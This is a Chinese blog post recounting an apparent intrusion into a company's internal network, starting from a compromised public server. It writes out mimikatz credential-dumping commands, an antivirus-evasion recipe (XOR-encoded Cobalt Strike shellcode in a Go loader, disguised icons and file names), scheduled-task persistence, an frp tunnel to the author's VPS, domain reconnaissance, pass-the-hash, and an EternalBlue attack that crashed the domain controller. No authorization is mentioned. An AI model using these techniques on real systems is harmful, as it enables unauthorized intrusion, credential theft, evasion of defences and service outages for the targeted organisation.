内网|初探内网渗透(一)
0x01前言
昨夜我做了一个长长的梦,梦里我很思念她,她亦很思念我. . . . . .
0x02背景
最近在学习内网,温故而知新,所以抽空总结了一下现有的知识,既是分享,也是审视。
0x03上传文件
使用一个已知漏洞获取了某公司的公网服务器权限,内网拉开序幕
首先确认在这个内网中我是谁,我在哪
是一台win server服务器 system权限
上传mimikatz尝试获取hash
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full"" exit >> log.txt |
执行完直接被删了,procdump也一样
看了一下防火墙和tasklist
1 | netsh firewall show state |
防火墙开了还有杀软
接下来我可以选择
1、上传一个cs免杀马上线cs操作
2、使用administrator账户关闭杀软和防火墙
关闭杀软动静过大,不到万不得已我不愿意用此方法,而且测试我的免杀是能用的
所以这里使用第二种方法,免杀马上线cs
0x04木马免杀
免杀方式:使用xor编辑c-shellcode然后用go解密执行
第一步:
把cs生成的c-shellcode填入xor的shellcode字段中
xor.py内容如下
1 | def xor(shellcode, key): |
执行xor.py
第二步
把上一步生成的shellcode填到shell.go的shellcode字段中,记得两个文件key要一致。
shell.go内容如下
1 | package main |
执行go build -ldflags=”-H windowsgui -w -s” shell.go生成shell.exe
此时基本已经完成了,但是这个默认的图标太扎眼容易引起怀疑
把shell.exe拖到Restorator右键添加资源,类型选择图标,名称随便起一个
然后在test处右键导入ico文件即可
木马改个有迷惑性的名字如printapi、find5tr、he1p等
用冰蝎上传到目标机c:\windows\目录,执行上线
0x05权限维持
一般获得一个cs会话后先把beacin迁移到一个不易被关闭的进程如explorer.exe桌面进程
1 | shell tasklist|findstr explorer.exe |
这台服务器是内网的入口我觉得有必要做一下权限维持。
常用以下几种方法维持权限:
1、注册表添加启动项
2、使用远程下载exe自启动
输入木马存放地址即可
3、计划任务
指定每天上午9.30运行我们放在c:\windows\目录下的木马文件
1 | schtasks /create /TN cs /TR C:\windows\printapi.exe /SC daily /mo 1 /ST 09:30:00 |
0x06内网信息收集
net view/domaiin查看域
net view /domain:域名称 查看域内机器主机名
dsquery user 查看存在的用户
net group “Domain admins” /domain查询域管理员组
域管用户nicole
定位域控
nslookup domain
systeminfo
systeminfo如果domain为workgroup则代表不存在域,否则存在xxx.com域环境
ipconfig /all
一般来说,域控就是dns服务器,所以有时候我们也可以探测内网53端口来寻找域控
定位域控服务器:192.168.0.253
但是当我执行net user查看本机用户的时候
这么多账户信息让我一度以为我就是域控
继续net user /domain
两者基本吻合
不太对劲起来
先dump hash再说
一般用hashdump或者logonpasswords来读取,但是两者有时候dump下来的hash有差别
测试后感觉还是hashdump更准一些
看这个hash基本全是空密码
0x07内网穿透
用这台服务器搭让我们与对方内网建立连接,方便内网横向移动
首先使用cs或者webshell上传frpc到目标机,cs可以用Certutil命令或者文件管理上传
frpc.ini配置如下
1 | [common] |
上传frps相关文件到vps,并执行
1 | chmod 777 frps |
frps.ini配置如下
1 | [common] |
访问vps:7500输入frps.ini中的user和pwd可以看到图形页面
client显示为1即连接正常
vps执行./frps
目标机执行frpc.exe
成功建立连接
0x08内网横向
使用proxifier,让工具流量走sock代理
proxifier设置
1、proxy servers设置
2、proxification rules设置
把需要走sock代理的工具添加到列表中即可
前面我们已经获取到域管用户nicole的密码hash
直接psexec hash传递
这里提一下
哈希传递攻击适用情况:
在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
不对劲,空密码不是这个报错
难到dump下来的hash不对?
连接起来之前得到的信息,冷静分析一波,一切都明朗了
我这台机器很有可能是dc备份,域控就是253,dump下来的hash没错,但是极有可能是旧的
看来还是回到起点,重新搞域控
goby设置代理
浏览器挂上代理,域控8090开的致远oa,其他页面啥也不是、
几乎没有任何思考
访问http://192.168.0.253:8090/seeyon/SeeyonUpdate1.jspx
寄、
没有出现java.lang.NullPointerException:null
但是抱着试一试的态度测试一下上传
1、burp添加socks代理
2、构造payload包发送
3、访问shell地址
404了,显然没有成功。
这里有必要说一下,我在这个域内的时候log4j远程代码执行这个核弹级漏洞还没被爆出来,否则也就没后边那么多弯弯绕了
ms17-010
goby扫到253开的还有445,并且存在ms-17010,那自然是要试一试
cs传递会话给msf
首先在cs上创建一个msf监听器
然后msf开启监听,cs增加会话选择刚才创建的msf监听器
msf建立连接
添加路由
后台会话,利用17010横向
这里的第二个和第三个模块需要目标开启命名管道,并且比较稳定。第一个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
1 | Use exploit/windows/smb/ms17_010_eternalblue//加载漏洞模块 |
wo_ri
本来保险起见我msf打域控的时候,我webshell这边也一直在ping域控探测主机在线情况,结果还真给它打蓝屏重启了
等了几分钟域控重新在线,但是web服务没再起
然后又爆破了一波3389无果、
暂时就搁置了
寄希望于他们能重启web服务,让我用log4j风靡一番,有后续再写